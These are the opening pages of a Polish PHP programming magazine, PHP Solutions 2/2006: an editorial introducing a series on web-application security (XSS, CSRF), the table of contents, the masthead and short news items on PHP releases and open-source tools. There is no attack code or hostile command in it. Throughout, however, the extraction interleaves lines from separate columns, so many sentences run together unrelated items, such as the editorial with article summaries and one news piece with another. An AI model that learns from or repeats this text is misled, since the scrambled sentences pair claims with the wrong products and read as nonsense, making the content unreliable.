You are on page 1of 84

01_okladka_PL.

indd 1 2006-01-12, 17:14:35
02_03_Devcon_R_PL.indd 2 2006-01-12, 17:26:21
02_03_Devcon_R_PL.indd 3 2006-01-12, 17:27:37
POCZĄTKI
Spis treści
Wzorce projektowe w akcji
– rozwiązania znanych
problemów w praktyce 16
Paweł Kozłowski, Piotr Szarwas

T rudno nie odnieść wrażenia, że obawy o bezpie-
czeństwo aplikacji WWW (opartych na PHP i Apa-
che'u) spędzają sen z powiek wielu administratorom
Znajomość wzorców przyspiesza samodzielne
rozwiązywanie wielu problemów programistycz-
nych i systematyzuje terminologię używaną
i projektantom systemów. Dochodzi do groźnych w skut- przez programistów. Ta wiedza zdecydowanie
kach włamań do portali działających na bardzo znanych oszczędza czas potrzebny na stworzenie dobrze
systemach CMS typu Open Source (np. XOOPS). Do działającej i poprawnie skonstruowanej aplikacji.
ataku intruzi wykorzystują dziury w Apache'u czy forach W artykule pokażemy w przystępny i solidny
dyskusyjnych (np. phpBB). Nawet uważane za bez- sposób praktyczne wykorzystanie wzorców pro-
pieczne opensourcowe sklepy internetowe (np. osCom- jektowych w implementacji aplikacji w PHP5.
merce) wcale takie nie są. Coraz częściej jesteśmy świadkami zhakowanej
strony jakiegoś ważnego projektu (czy też nielubianego polityka :-)) lub, co TECHNIKI
gorsza, skasowania plików na naszym serwerze po ostatnim nocnym wła-
Obiektowa linia montażowa,
maniu (np. tych, których właścicielem był użytkownik apache).
czyli przejrzyste i elastyczne
Czy zatem rysuje się przed nami totalnie czarny scenariusz? Czy wy-
aplikacje w PHP5 24
korzystujący aplikacje Open Source skazani są na wieczne obawy i stres?
Czy właściciele aplikacji o zamkniętym kodzie mogą czuć się bezpiecznie Paweł Kozłowski
(np. IIS Microsoftu)? Przecież do ataku może dojść w każdej chwili, a cią- Jeśli przyjrzymy się wewnętrznej strukturze
głe aktualizacje oprogramowania są męczące, a czasami nawet trudne lub zorientowanej obiektowo aplikacji, z łatwością
wręcz niemożliwe do przeprowadzenia, np. z powodu niekompatybilności dostrzeżemy sieć wielu, współpracujących ze
nowych aplikacji (np. korzystających z PHP5) ze starym oprogramowa- sobą obiektów. Kluczowe staje się pytanie: jak
niem (np. środowiskiem Apache+PHP4+MySQL). Ach, ten Open Source połączyć ten ogrom funkcjonalności zamknięty
– chciałoby się rzec. w poszczególnych obiektach w jeden spójny
Na domiar złego, opracowania poświęcone bezpieczeństwu aplikacji program? W jaki sposób dwa współpracujące ze
tworzonych w PHP traktują temat dość ogólnikowo i zbyt teoretycznie – czę- sobą obiekty dowiadują się o swoim istnieniu?
sto w oderwaniu od rzeczywistych zagrożeń. Wiem, trudno jest stworzyć Z artykułu dowiecie się jak przejrzyście i efektyw-
nie projektować aplikacje obiektowe, na przykła-
jedno wyczerpujące opracowanie – potrzeba tu całej serii artykułów.
dzie forum internetowego.
Dlatego w PHP Solutions rozpoczynamy cykl artykułów poświęconych
wybranym i najważniejszym aspektom bezpieczeństwa aplikacji WWW.
Pokażemy Wam metody ataków i obrony w praktyce oraz odpowiemy Service Data Objects, czyli
na wspomniane pytania. Zaczniemy od ataków XSS i CSRF, o których uniwersalny standard dostępu
przeczytacie w artykule Ilii Alshanetsky'ego (http://ilia.ws) – autora książki do danych – część druga 34
Guide to PHP Security, twórcy FUDforum i wielu rozszerzeń PHP. XSS Piotr Szarwas
i CSRF to ataki mało znane wśród programistów, ale bardzo złośliwe Wracamy do SDO: rozwiązania, które zrewolu-
i groźne. Pokażemy kilka ciekawych przykładów, wcielając sie w rolę po- cjonizuje i zunifikuje sposób dostępu do danych
tencjalnego włamywacza. w PHP. Tym razem pokażemy, jak szalenie
Gdy już poczujemy się bezpieczniej, przejdziemy do ułatwiania sobie użyteczne staje się SDO w świecie XML-a, zdej-
życia i pracy. W obecnym numerze rozpoczynamy cykl poświęcony wyko- mując z barków programisty ciężar przenoszenia
rzystaniu wzorców projektowych – z artykułu Pawła Kozłowskiego i Piotra danych między systemem bazodanowym a pli-
Szarwasa dowiecie się, jak zbudować elastyczną i solidną aplikację w PHP. kami XML.
Zobaczycie też, jak nowe architektury, takie jak iConnect, przenoszą funkcjo-
nalność J2EE i .NET do PHP. Dowiecie się więcej o SDO, o którym pisaliśmy
już w poprzednim numerze, jak również o budowaniu aplikacji okienkowych NARZĘDZIA
w PHP-GTK2 z wykorzystaniem narzędzia Glade GUI Builder.
Tworzenie rozwiązań klasy
A na CD czeka na Was niespodzianka: m.in. nowy PHP Solutions Live
Enterprise przy zastosowaniu
oraz multimedialny kurs PHP (w tym PHP5) firmy KeyStone Learning Sys-
Solarix iConnect 40
tems.
Zapraszam do lektury i zabawy, Alex Pagnoni
Dariusz Pawłowski Ileż razy zdarzało Ci się spotykać na forach
i listach dyskusyjnych stwierdzenia w rodzaju
“PHP to nie Java, tylko prosty język skryptowy.
Potrzebujemy czegoś profesjonalnego, do two-
rzenia poważnych projektów”. Dzięki Solarix
iConnect możesz powiedzieć autorom tych
wypowiedzi, że się mylą i będziesz miał rację:
oto nadchodzi epoka profesjonalnej architektury
programistycznej w PHP, na miarę rozwiązań
typu J2EE czy .NET.

4 www.phpsolmag.org PHP Solutions Nr 2/2006

04_05_spis_trescii_PL.indd 4 2006-01-12, 17:16:27
BEZPIECZEŃSTWO
Spis treści
Niebezpieczeństwa ataków
XSS i CSRF 48
Ilia Alshanetsky
Spośród wszystkich podatności dotykających
aplikacje internetowe, najczęściej spotykane są Pytania dotyczące Strona WWW/Forum
ataki XSS i CSRF. W artykule pokażemy czym
prenumeraty strona www: www.phpsolmag.org
tel. (22) 887 14 44 Tu znajdą Państwo informacje
one są, jak się je przeprowadza oraz jak się przed e-mail: pren@software.com.pl dotyczące aktualnych i przyszłych
nimi obronić. Software Wydawnictwo Sp. z o.o. numerów magazynu PHP Solutions.
dział prenumeraty
ul. Piaskowa 3 Forum: www.phpsolmag.org/newforum
01-067 Warszawa Zachęcamy do dyskusji na naszym
PROJEKTY forum. Czekamy na propozycje
CD tematów, które chcieliby Państwo
Piszemy monitor serwera w PHP 56 tel. (22) 887 14 44
znaleźć w najbliższym numerze pisma.
Patrick O'Brien e-mail: cd@software.com.pl
Zapraszamy także do wymiany
Software Wydawnictwo Sp. z o.o.
Wydaje nam się, że jeśli jeden z naszych serwe- poglądów z innymi fanami PHP.
Defekty CD/DVD
rów ulegnie awarii, ktoś bardzo szybko nas o tym ul. Piaskowa 3 Cena
poinformuje. W rzeczywistości nic takiego się nie 01-067 Warszawa Prenumerata: 135 zł
wydarzy, ponieważ każdy przyjmuje, że sami Przelew na konto nr:
Zamówienia 46 1440 1299 0000 0000 0391 8238
dbamy o swój sprzęt. Artykuł pokazuje budowę
/Numery archiwalne Nordea Bank Polska S.A.
prostego systemu monitorowania serwera, pre- tel. (22) 887 14 44 II Oddział w Warszawie
zentującego wyniki w formie wykresów. e-mail: pren@software.com.pl
sklep on-line: www.shop.software.com.pl
Glade GUI Builder Kontakt z redakcją
– piszemy generator faktur 64 e-mail: redakcja@phpsolmag.org
Software Wydawnictwo Sp. z o.o.
Pablo Dall'Oglio Redakcja PHP Solutions
Ręczne stworzenie interfejsu graficznego GTK ul. Piaskowa 3
dla aplikacji PHP nie jest zadaniem trudnym, 01-067 Warszawa
a może zaowocować lepszą wydajnością.
Wymaga jednak sporo czasu. W takiej sytuacji Listingi wszystkich opisywanych programów zostały zamieszczone na naszej stronie
konieczne staje się skorzystanie z narzędzia internetowej www.phpsolmag.org/pl.

graficznego, takiego jak Glade. Pokażemy jak
prosto i szybko tworzyć rozbudowane interfejsy.
PHP Solutions jest wydawany przez Software-Wydawnictwo Sp. z o.o.

Dyrektor Wydawniczy: Jarosław Szumski
PEAR Market Manager: Sylwia Tuśnio sylwia.tusnio@software.com.pl
Product Manager: Maciej Krawcewicz maciej.krawcewicz@phpsolmag.org
Structures_DataGrid dla danych Redaktor prowadzący: Dariusz Pawłowski dpawlowski@phpsolmag.org
tabelarycznych 72 Stali współpracownicy: Paweł Kozłowski pkozlowski@phpsolmag.org, Paweł Grzesiak pgrzesiak@phpsolmag.org
Kierownik produkcji: Marta Kurpiewska marta@software.com.pl
Projekt okładki: Agnieszka Marchocka
Aaron Wormus Skład i łamanie: Agnieszka Zadrożna aga.z@software.com.pl
Tworzenie prostych i estetycznych prezentacji da- Dział reklamy: adv@software.com.pl
Prenumerata: Marzena Dmowska pren@software.com.pl
nych tabelarycznych w PHP powinno być równie Nakład: 6 000 egz.
łatwe, jak za pomocą arkuszy kalkulacyjnych czy
Adres korespondencyjny: Software-Wydawnictwo Sp. z o.o.,
edytorów HTML. Służy temu Structures_Data- ul. Piaskowa 3, 01-067 Warszawa, Polska
Grid, pozwalając na swobodny wybór źródła da- tel. +48 22 887 10 10, fax +48 22 887 10 11
www.phpsolmag.org cooperation@software.com.pl
nych i formy prezentacji, a także eksport wyników
do takich formatów, jak XLS (MS Excel) czy CSV. Dołączoną do magazynu płytę CD przetestowano programem AntiVirenKit firmy G DATA Software Sp. z o.o.

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na towarzyszących mu nośnikach informacje
VARIA i programy były poprawne, jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; nie gwarantuje
także poprawnego działania programów shareware, freeware i public domain.
Uszkodzone podczas wysyłki płyty wymienia redakcja.
Aktualności 6 Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich firm
i zostały użyte wyłącznie w celach informacyjnych.
Opis CD 12
Redakcja używa systemu automatycznego składu
Sukces PHP i Wikpedii: Do tworzenia wykresów i diagramów wykorzystano program firmy

wywiad z Elizabeth Bauer 14 Osoby zainteresowane współpracą prosimy o kontakt: cooperation@software.com.pl

Druk: ArtDruk
Krzysztof Sobolewski
Wysokość nakładu obejmuje również dodruki. Redakcja nie udziela pomocy technicznej w instalowaniu
Felieton: PHP: Hobby, i użytkowaniu programów zamieszczonych na płytach CD-ROM dostarczonych razem z pismem.
Sprzedaż aktualnych lub archiwalnych numerów pisma po innej cenie niż wydrukowana na okładce
które przynosi zysk 80 – bez zgody wydawcy – jest działaniem na jego szkodę i skutkuje odpowiedzialnością sądową.

Guillaume Ponçon Pismo ukazuje się w następujących wersjach językowych:
polskiej , francuskiej , niemieckiej oraz włoskiej .

Recenzje książek 81

PHP Solutions Nr 2/2006 www.phpsolmag.org 5

04_05_spis_trescii_PL.indd 5 2006-01-12, 17:33:47
Aktualności

MediaWiki 1.5.3
Ukazała się nowa wersja MediaWiki, oznaczo- Spotkanie developerów PHP
na symbolem 1.5.3. Oprogramowanie pozwala
na uruchomienie encyklopedii Wikipedia na
własnej stronie WWW. Do najważniejszych
zmian można zaliczyć poprawienie krytycznego
W dniach 11 i 12 listopada odbyło
się w Paryżu spotkanie dewe-
loperów PHP, na którym omawiano
błędu bezpieczeństwa, który dotyczył modułu
odpowiedzialnego za walidację języka interfejsu zachodzące w języku zmiany oraz pró-
użytkownika. Jako że wszystkie poprzednie bowano rozwiązać wiele problemów, usunięte z PHP. Także biblioteki freety-
wersje 1.5.x są obarczone tym błędem, zaleca
się aktualizację oprogramowania. z którymi spotykają się programiści. pe 1 i GD 1 zostaną usunięte z PHP, ja-
Licencja: GPL Dyskutowano na temat nadchodzących ko przestarzałe. Funkcję dl() spotkają
http://www.mediawiki.org
wersji, a szczególnie na temat innowacji modyfikacje. Będzie ona dostępna wy-
PHP 5.1.0 w PHP6. łącznie z warstwy SAPI. Na spotkaniu
Zespół PHP ogłosił zakończenie prac nad PHP Pierwszą część spotkania po- nie zabrakło także informacji o repo-
5.1.0, co zaowocowało wypuszczeniem finalnej,
stabilnej wersji. Całkowicie przepisano w niej święcono pełnemu wparciu standardu zytorium PECL i konieczności wzboga-
kod odpowiedzialny za zarządzanie datami, Unicode w PHP6. Mówiono także cenia o nowe możliwości silnika Zend.
co skutkuje lepszą obsługą stref czasowych.
Odnotowano też znaczący wzrost wydajności
o oczyszczaniu PHP ze złych rozwią- Wszystkie rozszerzenia do obsługi baz
skryptów w stosunku do poprzednich wersji zań, takich jak register _ globals, które danych, zostaną usunięte z oficjalnej
5.0.x. Rozszerzenie PDO zakończyło fazy eks- jest przyczyną wielu problemów zwią- dystrybucji i wylądują w repozytorium
perymentalne i na stałe zagościło w dystrybucji
PHP. Język wzbogacił się o ponad 30 nowych zanych z bezpieczeństwem. Za proble- PECL. Jedyną metodą obsługi baz
funkcji, które uzupełniły dotychczasowe rozsze- matyczny uznano tryb safe _ mode, czy pozostanie PDO. Spotkanie poruszało
rzenia. Zaktualizowano PEAR do wersji 1.4.5,
a także PCRE oraz SQLite. Poprawiono ponad parametr magic _ quotes, który okazał także problematykę programowania zo-
400 różnego rodzaju bugów. się nieporęcznym narzędziem w rękach rientowanego obiektowo w PHP. Wykaz
http://www.php.net
programistów. Tryb safe _ mode rodził omawianych tematów znajduje się na
PHP 5.1.1 wiele problemów związanych z tym, witrynach php.net.
Potrzeba było zaledwie czterech dni, by opubli- które pliki może modyfikować skrypt,
kować kolejną stabilną wersję PHP, oznaczoną
symbolem 5.1.1. Ponieważ pojawił się problem a do których ma mieć zablokowany http://www.php.net/~derick/meeting-no-
konfliktu nazewnictwa z biblioteką PEAR, dostęp. Docelowo obie funkcje zostaną tes.html
z PHP wycofano natywną klasę do obsługi
daty. Poprawiono krytyczny błąd, który pojawiał
się, gdy ostatnią linią kodu w skrypcie był
komentarz PHP. W PHP 5.1.0 użycie \{$var} Zen Cart – profesjonalny sklep internetowy dla
powodowało wyświetlenie {$var} zamiast
oczekiwanego $var. Usunięto niekonsekwen-
wymagających
cję w formacie PHP_AUTH_DIGEST, która
miała miejsce pomiędzy Apache 1 a 2.

Autodesk
Z en Cart należy do najlepszych apli-
kacji sklepów internetowych. Jest łu-
dząco podobny do osCommerce, ponie-
Autodesk, firma, która znana jest przede wszyst-
waż został stworzony na jego podstawie,
kim z narzędzi do renderowania grafiki prze-
strzennej, planuje w pierwszych miesiącach tego lecz pod względem funkcjonalnym bije
roku udostępnić pełny kod swojej aplikacji Map- go na głowę. Oprogramowanie w dużej
Server Enterprise. Służy ona do generowania
i wyświetlania map geograficznych na stronach części przepisano, udoskonalając do-
WWW. Oprogramowanie umożliwi programistom tychczasowe możliwości i dodając do-
tworzenie oprogramowania opartego o PHP,
.NET i Java i przy tym efektywnie wykorzystują-
datkowe moduły. Zen Cart bazuje na
cego możliwości MapServer. Program zostanie wielu sprawdzonych aplikacjach i został
udostępniony na licencji Open Source. Pojawią
stworzony przy ścisłej współpracy z wła- zautomatyzowanymi zadaniami, takimi
się listy dyskusyjne, raportowanie błędów i możli-
wość wnoszenia własnych poprawek. ścicielami wielu rozwiązań e-commerce. jak wysyłanie potwierdzenia przyjęcia
http://www.autodesk.com Dzięki temu deweloperzy dokładnie zamówienia. Oprogramowanie wzbo-
SmileTAG wiedzieli, co sklep internetowy powinien gacono o narzędzia ułatwiające po-
Shoutbox to małe okienko umieszczane na zawierać i jak działać, aby przynosił zycjonowanie w wyszukiwarkach. Nie
stronach WWW, w którym publikowane są
wymierne korzyści. Mamy do dyspozy- zabrakło zatem narzędzia do tworzenia
minikomentarze Internautów. SmileTAG to
kompletny skrypt implementujący ten pomysł. cji instalator w postaci kreatora, dzięki przyjaznych dla użytkownika odnośni-
Zbudowano go w oparciu o system szablo- czemu instalacja przebiega wyjątkowo ków. Program obsługuje wiele języków,
nowy o dużych możliwościach, z łatwymi do
modyfikacji szablonami, wymagającymi opano- przyjemnie i bez zgrzytów. walut i schematów podatkowych. Zen
wania jedynie podstawowych tagów. Okienko Zen Cart posiada wszystko to, co Cart jest udostępniany na licencji Open
odświeża się automatycznie tylko wówczas, gdy
pojawia się nowa wiadomość (wykorzystuje do dobry sklep posiadać powinien – sze- Source. Witryna internetowa zawiera
tego technologię AJAX). Do pracy SmileTAG roki wachlarz standardowych opcji, ta- przydatne FAQ, czyli listę najczęściej
nie jest wymagana baza danych. Wszystkie
kich jak dodawanie nowych produktów zadawanych pytań, a także forum, na
informacje zapisywane są w plikach XML.
Skrypt zabezpieczono przed nadużyciami. Do i kategorii, moduły promocji, kupony którym znajdziemy wielu użytkowników
dyspozycji oddano filtr niecenzuralnych treści, rabatowe, prezenty, czy lista mailingo- tego rozwiązania.
blokadę zbyt długich i bezsensownych wypowie-
dzi, banowanie adresów IP i nicków. Ponadto wa i powiadamianie o produktach. Moż-
można wprowadzać własne emotikony. Skrypt liwe jest ustalenie specjalnych cen
obsługuje wiele języków i kontroluje strefy cza-
sowe. Rozpoznaje adresy e-mail i URL w treści. na wybrane przedmioty lub rabaty
Licencja: GPL na cały asortyment. Uwagę zwraca Licencja: GPL
http://www.smiletag.com
przyjazny panel administracyjny, ze http://www.zen-cart.com/

6 www.phpsolmag.org PHP Solutions Nr 2/2006

06_07_08_09_10_aktualnosci_PL.indd 6 2006-01-12, 17:30:16
Aktualności

Destructor
OpenVZ Jeżeli brakuje nam w PHP4 funkcji destrukto-
ra klasy, to ta biblioteka powstała, by sprostać

O penVZ to aplikacja pracująca na
Linuksie i pozwalająca symulować
rzeczywisty serwer, tworząc niezależne,
naszym potrzebom. Biblioteka pracuje jako
klasa bazowa i pilnuje wszystkich pracujących
pod nią obiektów, zainicjalizowanych jako jej
podklasy. Jeżeli skrypt PHP spróbuje zakoń-
odizolowane i bezpieczne wirtualne śro- jednego. OpenVZ znajdzie zastosowanie czyć swoje działanie, zanim obserwowany
dowisko. OpenVZ dba o to, by na jednym w hostingu, stwarzając możliwość utwo- obiekt ulegnie destrukcji, biblioteka uruchomi
funkcje odpowiedzialne za destrukcję dostęp-
serwerze fizycznym nie zachodziły żadne rzenia nawet kilkuset serwerów wirtual- nych obiektów.
konflikty między aplikacjami. Każdy wir- nych na jednej maszynie. Skalowalność Licencja: GPL
http://www.phpclasses.org/browse/package/
tualny serwer (VPS) wykonuje wszystkie systemu jest zaskakująca. OpenVZ był
2657.html
operacje zachowując się dokładnie tak, testowany z pozytywnym rezultatem na
jakby był osobną, fizyczną maszyną. maszynach wyposażonych w 8 proceso- PHP SMTP Relay
Wysyłanie e-maili nie musi oznaczać
VPS może być zrestartowany niezależ- rów i 64 GB pamięci podręcznej. konieczności pośrednictwa serwera SMTP.
nie, bez wpływu na inne. Posiada też Aktualna wersja OpenVZ, tj. 2.6.8, PHP SMTP Relay to prosta biblioteka, która
pozwala ominąć serwer poczty wychodzącej.
własnego roota, użytkowników, adres wprowadziła sporo udoskonaleń do Użytkownik może wybierać pomiędzy dwoma
IP, pamięć, procesy, pliki, czy biblioteki projektu. Pojawiła się obsługa 64 bito- bibliotekami do nawiązania połączenia:
systemowe i pliki konfiguracyjne. Projekt wych procesorów, poprawiono rozliczne natywnym protokołem lub protokołem PEAR.
Biblioteka posiada wsparcie dla PHP 4 i 5,
uzyskał już miano wersji stabilnej. Auto- luki w bezpieczeństwie, zaprojektowano pracując na systemach operacyjnych Win-
rzy borykali się dotychczas z problemem system do prowadzenia regularnych dows, Linux i Unix. Znajduje się we wczesnej
fazie rozwoju, choć już teraz działa szybko
stabilności środowiska, w przypadku, optymalizacji systemu. OpenVZ to opro- i poprawnie.
gdy mamy do czynienia z wieloma użyt- gramowanie o ogromnych możliwo- Licencja: Public Domain
http://www.mail4mkt.com.br/phpsmtprelay
kownikami. Jądro aplikacji stanęło przed ściach. Polecamy.
zadaniem obsłużenia wielu środowisk Molins – 200% object
jednocześnie, podczas, gdy standardowe Licencja: GNU GPL, QPL oriented PHP framework
systemy operacyjne ograniczają się do http://openvz.org Molins to w pełni obiektowy framework dla
PHP5, którego ideą jest przeniesienie J2EE
do świata PHP. Inspiracją do jego stworze-
nia były takie projekty jak: Struts, Junit, czy
CN-STATS Log4J. Molins ma także wiele wspólnego
z Jakarta Torque, czy Jakarta Commons. Do

C N-STATS to wielojęzyczny system
statystyk o dużych możliwościach.
Bazuje na PHP i MySQL, nie stawiając
ważnych zalet projektu można zaliczyć dobrą
integrację z systemem szablonowym Smarty,
współpracę z XSLT i umożliwienie tworzenia
logów systemowych. Molins pozwala także na
zbytnich wymagań co do wydajności tworzenie testów jednostkowych. Framework
zalecany jest do budowy większych aplikacji,
serwera. Oprogramowanie zbiera wyniki a najszybciej przywykną do niego programiści
i dokonuje ich analizy. znający Javę.
Licencja: LGPL
Pozwala gromadzić dane o odwie- http://www.phpize.com
dzinach użytkowników i wyszukiwarek
internetowych na naszym serwisie. Jedną PHP Link Directory
Szukając oprogramowania do obsługi kata-
z funkcji CNStats jest sprawdzanie wej- logu stron WWW, warto zapoznać się z PHP
ściowych fraz wyszukiwawczych. Program Link Directory. Do wygenerowania przyja-
znych odnośników wykorzystuje rozszerzenie
dostarcza też szczegółowych informacji mod_rewrite serwera Apache. Katalog
o witrynach, z których przybyli nasi użyt- e-mail niepotrzebne stanie się częste logo- potrafi jednocześnie wyświetlać PageRank
poszczególnych stron, pobierając aktualne
kownicy. wanie do panelu. Wystarczy otworzyć
dane z serwerów Google. Aby ułatwić pracę
Zebrane wyniki możemy zaprezen- skrzynkę pocztową. administratora, powstał system szablonów
tować w formie raportów oraz wykresów CNStats posiada specjalny moduł, któ- wiadomości e-mail. Pozwala on na obsługę
wymiany odnośników, czy ułatwia wysyła-
(w tym liniowych i słupkowych). Warto ry pozwala na prezentację aktualnych sta- nie informacji o zaakceptowaniu adresu do
wspomnieć o możliwości generowania ra- tystyk w specjalnym okienku na naszej wi- włączenia do katalogu.
Licencja: GPL
portów za określone przedziały czasowe, trynie. Możemy je dostosować do naszych http://www.phplinkdirectory.com
np. z ostatnich 5 minut, 1 godziny, 23 go- potrzeb.
dzin, itd. Do wyboru odpowiedniego okre- Ciekawą funkcją CNStats jest również CBL Partial Updater
Tworzenie aplikacji opartych o model AJAX
su czasu służy kalendarz. CNStats po- lokowanie naszych gości na mapie świa- jest coraz bardziej popularne. Powstaje
zwala rozróżniać ruch jako wejścia botów ta. W tym celu potrzebujemy bazy danych wiele bibliotek, które ma to zadanie ułatwić.
CBL Partial Updater, inaczej, niż większość
(wyszukiwarek internetowych) i użytkow- adresów IP, która zawiera aktualne pozy- spotykanych bibliotek, kontroluje wszystkie
ników. CNStats posiadają opcję spraw- cje konkretnych komputerów i klas IP. operacje po stronie serwera. Dzięki bibliotece
wszystkie istniejące skrypty PHP mogą zostać
dzania efektywności kampanii reklamowej Podsumowując: CNStats to bardzo do-
zamienione na aplikacje w modelu AJAX
prowadzonej na naszej witrynie, ułatwiając bre rozwiązanie do badania odwiedzin i ru- w czasie krótszym niż jedna minuta.
zliczanie zdarzeń. Godną uwagi opcją jest chu na naszej witrynie intenetowej. Licencja: LGPL
http://cbl-updater.sourceforge.net
możliwość zakładania filtrów na wyniki
statystyk. Tak sporządzone przez program Licencja: freeware (w pełni funkcjonalna)/
wyniki będą lepiej oddawały rzeczywi- komercyjna
stość. Dzięki opcji powiadamiania przez http://www.cnstats.com

PHP Solutions Nr 2/2006 www.phpsolmag.org 7

06_07_08_09_10_aktualnosci_PL.indd 7 2006-01-12, 17:30:53
Aktualności

Symfony – framework
dla wymagających
GuppY – CMS bez bazy danych
Symfony to framework stworzony dla PHP5,
który z powodzeniem znajduje zastosowa-
nie w budowie aplikacji klasy enterprise.
C MS-y niewymagające bazy danych
to stosunkowo rzadko stosowane
rozwiązania. Kiedy jednak nie mamy
Nazwany został odpowiednikiem narzędzi
Rails (framework dla języka Ruby i bazy dostępu do serwera baz danych, Gup-
MySQL-a) czy Django (framework dla Py-
thona) dla PHP. Symfony wykorzystuje wiele pY to idealne rozwiązanie: bazujący na
popularnych rozwiązań takich jak AJAX, plikach tekstowych i oferujący całkiem
przyjazne adresy URL, czy wielojęzyczność
i bazuje na sprawdzonych projektach Open wiele, porządny CMS.
Source takich jak: Propel, Creole, Mojavi, Mamy tu system newsów, komen-
Pake, PRADO, Spyc. Framework umoż-
tarzy, artykuły, dział download, FAQ,
liwia debugowanie kodu i pisanie testów
jednostkowych. Czytelny kod napisany książkę gości, sondy, listy mailingowe,
z wykorzystaniem najlepszych praktyk kalendarz, licznik, katalog odnośników
programistycznych i wzorców projektowych
czyni z Symfony bardzo elastyczne i łatwe i wiele innych charakterystycznych dla rozwiązanie dla początkującego we-
w utrzymaniu rozwiązanie. zwykłych CMS-ów funkcjonalności, w tym bmastera – postawienie witryny na ser-
Licencja: MIT/XCL
http://www.symfony-project.com wielojęzyczny interfejs. werze to przekopiowywanie plików, bez
Na uwagę zasługuje ciekawy, zbędnej zabawy z bazami danych. Na
Quickmail wewnętrzny system przesyłania wia- uwagę zasługuje też szybkość działania
Skrypt czyta wiadomości e-mail z serwera
IMAP i zwraca je w postaci dokumentów domości między użytkownikami. Gup- aplikacji stworzonej w oparciu o Gup-
RSS. Dzięki formatowi RSS, informacje mogą pY obsługuje również format RSS. pY'ego – brak bazy danych to większa
zostać obrobione i wyświetlone w przeglą-
darce, w postaci strony WWW lub obsłużone Przewidziano też specjalną, lżejszą wydajność systemu.
przez agregator RSS. Uniwersalność RSS to wersję systemu dla urządzeń przeno-
także możliwość przeglądania wiadomości za
pomocą urządzeń przenośnych, obsługują-
śnych (PDA). Instalacja nie jest trudna
cych protokół WAP. Quickmail przygotowuje – konieczne jest nadanie odpowiednich
dokumenty spełniające standardy CSS, praw dla katalogów, w których będziemy Licencja: CeCILL Free License
zgodne z RSS i WML.
Licencja: GPL przechowywać dane. GuppY to dobre http://www.freeguppy.org
http://quickmail.johanfitie.com

The Slooze PHP Web Photo
SVN i CVS for Dreamweaver
Album
The Slooze to prosta galeria zdjęć dla nie-
wymagających, działająca z wykorzystaniem
plików tekstowych lub bazy danych MySQL.
P rezentujemy dwa przydatne rozsze-
rzenia programu Dreamweaver, umo-
żliwiające współpracę z systemami kon-
Wszystkie zdjęcia są organizowane w postaci
katalogów, z możliwością łatwego przeszuki- troli wersji: CVS (Concurrent Versions
wania. Slooze jest prosty w instalacji, posiada
przejrzystą strukturę i łatwo rozszerzyć go System) i SVN (Subversion). Oba sys-
o nowe możliwości. Wyjściowy kod aplikacji to temy współpracują z Dreamweaverem
czysty kod HTML, bez żadnych dodatkowych
skryptów JavaScript, ramek i tabeli. Sprawia
w wersji 2.0.
to, że aplikacja łatwo się integruje z istniejący- System kontroli wersji to oprogramo-
mi już stronami WWW. wanie, które pozwala śledzić zmiany
Licencja: GPL
http://www.slooze.com zachodzące w tworzonym projekcie. Na-
rzędzie zapisuje wszystkie nanoszone
PHP Voice zmiany jako osobne wersje. Gdy zajdzie
Tworzenie „gadających” aplikacji w PHP należy
jeszcze do nowości. PHP Voice to zbiór czte- potrzeba, możemy przywrócić nasz pro-
rech klas, które asystują przy rozwoju aplikacji
jekt do dowolnej wersji wcześniejszej, noszenia plików i zmiany ich nazw,
głosowych. Otrzymujemy wsparcie dla Speech
Synthesis Markup w wersji 1.0, Speech Reco- czy też przeanalizować różnice, które skomplikowane zarządzanie gałęzia-
gnition Grammar w specyfikacji 1.0, CCXML w nim zaszły. mi, czy konieczność wielokrotnego
1.0 oraz dla Voice Extensible Markup Language
(VoiceXML) w wersji 2.0. Prezentowane oprogramowanie łączy łączenia się z serwerem przy wielu
Licencja: GPL użyteczność CVS i SVN z przyjaznym wykonywanych operacjach. Możliwości
http://vxml.sourceforge.net
interfejsem dla użytkownika Dreamewa- rozszerzenia SVN są analogiczne do
PHP Quebec 2006 vera. Wszystkie operacje kontroli wersji CVS.
W dniach 29 – 31 marca odbędzie się już po wykonujemy w obrębie aplikacji. Rozsze- Podsumowując: program znajdzie
raz czwarty z rzędu konferencja PHP Qu-
ebeck. W hotelu Montreal Plaza spotkają się rzenie pozwala na tworzenie nowych zastosowanie we wszystkich bardziej
twórcy języka i najbardziej znani deweloperzy wersji, uaktualnienie już istniejących, skomplikowanych projektach, nad
PHP. Omówione zostaną zaawansowane
techniki programistyczne, które zostały dokonywanie sprawdzeń, importowanie, którymi pracuje wielu programistów
wprowadzone w nowych odsłonach. Kolejnym porównywanie różnic, kopiowanie, usu- jednocześnie. Ułatwi pracę i pozwoli
tematem będą profesjonalne narzędzia
wanie, blokowanie, itd. zapanować nad kodem.
programistyczne, czyli rozwiązania, które
zwiększą efektywność programisty. Będzie System SVN ma w niedalekiej
też mowa o bazach danych, a konkretniej przyszłości zastąpić CVS. Celem je-
o różnych rozwiązaniach, które mogą zostać
użyte w PHP. go twórców jest wyeliminowanie wad Licencja: komercyjna ($59)
http://www.phpquebec.org charakterystycznych dla CVS, takich http://www.grafxsoftware.com/product.php/
jak brak możliwości efektywnego prze- CVS_for_Dreamweaver/22

8 www.phpsolmag.org PHP Solutions Nr 2/2006

06_07_08_09_10_aktualnosci_PL.indd 8 2006-01-12, 17:32:42
Aktualności

PHP For Applications (P4A)
phpSHIELD PHP For Applications to zorientowany obiekto-

p hpSHIELD to obfuskator – program,
który koduje kod źródłowy skryptów
wo, napisany w PHP framework do szybkiego
budowania aplikacji internetowych w oparciu
o zdarzenia. Korzysta z systemu szablonów Fle-
PHP, blokując w ten sposób dostęp do xy, co ułatwia separację logiki aplikacji od pre-
zentacji danych. Umożliwia tworzenie interfejsu
niego. Użycie narzędzi tego typu jest użytkownika w oparciu o widgety, które można
obecnie najlepszym sposobem ochrony pozycjonować m.in. w ramach siatki (gridu). P4A
ułatwia również operacje bazodanowe i ma-
praw autorskich do aplikacji interneto- nipulację danymi pobranymi z bazy. Korzysta
wych o zamkniętym kodzie i rozwijania z interfejsu bazodanowego PEAR::DB.Ułatwia
internacjonalizację i lokalizację aplikacji m.in.
własnych systemów licencjonowania.
dzięki obsłudze Unicode (UTF-8). P4A wymaga
Po instalacji programu phpSHIELD uzy- PHP4 lub PHP5, serwera Apache 1.3.x lub 2.0.x
skujemy gwarancję, że żaden fragment oraz systemu Linux lub Windows.
Licencja: GPL
